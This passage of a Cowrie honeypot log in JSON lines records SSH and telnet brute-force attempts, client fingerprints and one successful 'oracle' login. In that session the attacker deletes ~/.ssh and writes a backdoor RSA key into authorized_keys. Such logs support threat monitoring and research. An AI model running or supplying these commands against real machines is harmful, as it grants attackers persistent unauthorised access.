{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:37.461279Z","src_ip":"165.22.63.98","session":"4364b9dbf6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R00t@123","message":"login attempt [root/R00t@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:38.446187Z","src_ip":"165.22.63.98","session":"4364b9dbf6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":60128,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4e047d6b942","protocol":"ssh","message":"New connection: 187.141.71.166:60128 (159.203.135.109:22) [session: e4e047d6b942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:38.790049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:38.794895Z","src_ip":"187.141.71.166","session":"e4e047d6b942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:38.916849Z","src_ip":"187.141.71.166","session":"e4e047d6b942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"supporttest","password":"supporttest","message":"login attempt [supporttest/supporttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:39.435563Z","src_ip":"187.141.71.166","session":"e4e047d6b942","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:39.688885Z","src_ip":"165.22.63.98","session":"4364b9dbf6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:40.559254Z","src_ip":"187.141.71.166","session":"e4e047d6b942","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":37446,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab431b18297","protocol":"telnet","message":"New connection: 194.233.64.34:37446 (159.203.135.109:23) [session: dab431b18297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:50:48.340841Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":43756,"dst_ip":"159.203.135.109","dst_port":23,"session":"e72870dd5460","protocol":"telnet","message":"New connection: 134.209.8.29:43756 (159.203.135.109:23) [session: e72870dd5460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:15.843354Z"}
{"eventid":"cowrie.session.closed","duration":31.175700664520264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:19.516404Z","src_ip":"194.233.64.34","session":"dab431b18297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":45130,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d3f460721af","protocol":"ssh","message":"New connection: 187.141.71.166:45130 (159.203.135.109:22) [session: 1d3f460721af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:32.096403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:32.101099Z","src_ip":"187.141.71.166","session":"1d3f460721af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:32.226017Z","src_ip":"187.141.71.166","session":"1d3f460721af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"Ubuntu","message":"login attempt [Ubuntu/Ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:32.742287Z","src_ip":"187.141.71.166","session":"1d3f460721af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:33.866199Z","src_ip":"187.141.71.166","session":"1d3f460721af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":37462,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bd7ae830567","protocol":"telnet","message":"New connection: 194.233.64.34:37462 (159.203.135.109:23) [session: 8bd7ae830567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:42.641448Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":42432,"dst_ip":"159.203.135.109","dst_port":22,"session":"239bc9cd9211","protocol":"ssh","message":"New connection: 165.22.63.98:42432 (159.203.135.109:22) [session: 239bc9cd9211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:44.520175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:44.524750Z","src_ip":"165.22.63.98","session":"239bc9cd9211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:44.760381Z","src_ip":"165.22.63.98","session":"239bc9cd9211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"sammy1","message":"login attempt [sammy/sammy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:45.741743Z","src_ip":"165.22.63.98","session":"239bc9cd9211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:51:46.985005Z","src_ip":"165.22.63.98","session":"239bc9cd9211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.41366982460022,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:02.256899Z","src_ip":"134.209.8.29","session":"e72870dd5460","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300291299819946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:13.941628Z","src_ip":"194.233.64.34","session":"8bd7ae830567","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":49292,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f6c589082d","protocol":"ssh","message":"New connection: 150.95.157.171:49292 (10.17.0.5:22) [session: 03f6c589082d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:25.763372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:25.768568Z","src_ip":"150.95.157.171","session":"03f6c589082d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:25.936680Z","src_ip":"150.95.157.171","session":"03f6c589082d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcdef3","message":"login attempt [ubuntu/abcdef3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:26.615680Z","src_ip":"150.95.157.171","session":"03f6c589082d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:27.782275Z","src_ip":"150.95.157.171","session":"03f6c589082d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":56150,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c24305cfdb5","protocol":"ssh","message":"New connection: 187.141.71.166:56150 (159.203.135.109:22) [session: 7c24305cfdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:28.379287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:28.382644Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:28.503354Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"or","message":"login attempt [oracle/or] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.017643Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.302584Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.305489Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.307871Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.437274Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.707799Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.710066Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.833701Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.837913Z","src_ip":"187.141.71.166","session":"7c24305cfdb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.141.71.166","src_port":56152,"dst_ip":"159.203.135.109","dst_port":22,"session":"7faec7e4bb74","protocol":"ssh","message":"New connection: 187.141.71.166:56152 (159.203.135.109:22) [session: 7faec7e4bb74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.954278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:52:29.958593Z","src_ip":"187.141.71.166","session":"7faec7e4bb74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.co